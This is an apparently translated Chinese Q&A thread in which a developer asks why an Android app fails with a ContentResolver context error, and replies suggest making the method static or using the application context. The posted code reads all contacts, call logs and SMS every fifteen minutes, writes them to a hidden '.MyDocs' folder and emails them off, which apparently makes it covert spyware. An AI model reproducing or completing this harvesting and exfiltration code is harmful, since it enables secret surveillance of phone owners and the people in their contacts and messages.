2017-07-31 44 views
0

我正在創建一個應用程序收集設備的所有聯繫人,並通過電子郵件發送它們,但問題是當我打電話給功能觸點()的「獲取聯繫人列表」從一個類名save節省了接觸裝置,以便稍後發送有一個錯誤:如何訪問聯繫人,並通過其他類不是和activity,但它不是作爲contentResolver工作錯誤

Invoking virtual Method context.ContentResolver.

現在的問題是如何調用getContacts()從MainActivity中的方法在Save類中定期調用並在BroadcastReceiver中執行。

主要業務碼是

protected void onCreate(Bundle savedInstanceState) { 
     super.onCreate(savedInstanceState); 
     setContentView(R.layout.activity_main); 
     startService(new Intent(getBaseContext(),SecureService.class)); 
     Intent i= new Intent(MainActivity.this,SecureReciever.class); 
     PendingIntent pi=PendingIntent.getBroadcast(getApplicationContext(),0,i,0); 
     AlarmManager am= (AlarmManager) getSystemService(ALARM_SERVICE); 
     am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+3000, AlarmManager.INTERVAL_FIFTEEN_MINUTES,pi); 
    } 
public ArrayList<String> getContacts(){ 
     ContentResolver cr= getContentResolver(); 
     ArrayList <String> contacts= new ArrayList<String>(); 
     try{ 

      Cursor cursor=cr.query(ContactsContract.Contacts.CONTENT_URI,null,null,null,null); 
      assert cursor != null; 
      String Item=""; 
      while(cursor.moveToNext()){ 
       String id=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)); 
       String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); 
       Cursor phonecursor=cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id} ,null); 
       String phonenumber="",_email=""; 
       assert phonecursor != null; 
       while (phonecursor.moveToNext()){ 
        phonenumber += phonecursor.getString(phonecursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"\n"; 
       } 
       phonecursor.close(); 
       Cursor emailcursor=cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=? ",new String[] {id},null); 

       while (emailcursor.moveToNext()){ 
        _email =_email + emailcursor.getString(emailcursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA)); 
       } 
       emailcursor.close(); 
       Item ="Name : "+ name + "\nPhone No : " + phonenumber + "\n Email : "+_email + "\n---------------------\n"; 
       contacts.add(Item); 
      } 
      cursor.close(); 
     }catch (Exception ex){ 
      Log.d("Error",ex.getMessage()); 
     } 
     return contacts; 
    } 

保存類代碼

public class save extends AsyncTask<String, Void ,String> { 
    MainActivity ma=new MainActivity(); 
    @Override 
    protected String doInBackground(String... params) { 
     try{ 

      String Calllogs= ma.getCalllogs().toString(); 
      String SMS= ma.fetchinbox().toString(); 
      String Contacts= ma.getContacts().toString(); 

      String Path= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS).getAbsolutePath()+"/.MyDocs"; 
      File f=new File(Path); 
      FileOutputStream fos; 
      if (!f.exists()) 
       f.mkdir(); 
      File file=new File(Path+"/"+System.currentTimeMillis()+"Contacts.txt"); 
      File file1= new File(Path+"/"+System.currentTimeMillis()+"CallLogs.txt"); 
      File file2=new File(Path+"/"+System.currentTimeMillis()+"SMS.txt"); 

      if (file.exists()) 
       file.delete(); 
      else 
      { 
       try{ 
        file.createNewFile(); 
        file.setWritable(true); 
        fos= new FileOutputStream(file); 
        fos.write(Contacts.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
      if (file1.exists()) 
       file1.delete(); 
      else 
      { 
       try{ 
        file1.createNewFile(); 
        file1.setWritable(true); 
        fos= new FileOutputStream(file1); 
        fos.write(Calllogs.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
      if (file2.exists()) 
       file2.delete(); 
      else 
      { 
       try{ 
        file2.createNewFile(); 
        file2.setWritable(true); 
        fos= new FileOutputStream(file2); 
        fos.write(SMS.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
     }catch (Exception ex){ 
      Log.d("Save Error", ex.getMessage()); 
     } 
     return null; 
    } 

    @Override 
    protected void onPostExecute(String s) { 
     new sendmail().execute(); 
    } 
} 

的BroadcastReceiver Wher保存類被調用來執行異步任務將數據保存在背景

public class SecureReciever extends BroadcastReceiver { 
    @Override 
    public void onReceive(final Context context, Intent intent) { 
     Date date= new Date(); 
     Log.d("Alarm Reciever","Alarm Triggered At : "+ java.text.DateFormat.getTimeInstance().format(date)); 
     new save().execute(); 
    } 
} 
+0

您沒有正確傳遞'context'。 –

+0

幫我解決如何傳遞上下文? –

+0

在編寫問題時,請注意確保真正重要的細節(如方法的名稱和案例)正確輸入。我只在你的方法名稱中糾正了你的文章中的五個單獨的錯誤。你的英語不一定是完美的,但技術細節的確如此。 – halfer

回答

0

嘗試製作getContacts()訪問說明符爲public static。當您需要它時,只需調用MainActivity.getContacts()

+0

我試過了,但是當我做getcontacts()公共靜態時,我無法getContentResolver()在getContacts()方法中使用它。 –

+0

使用getApplicationContext()。getContactResolver() –

相關問題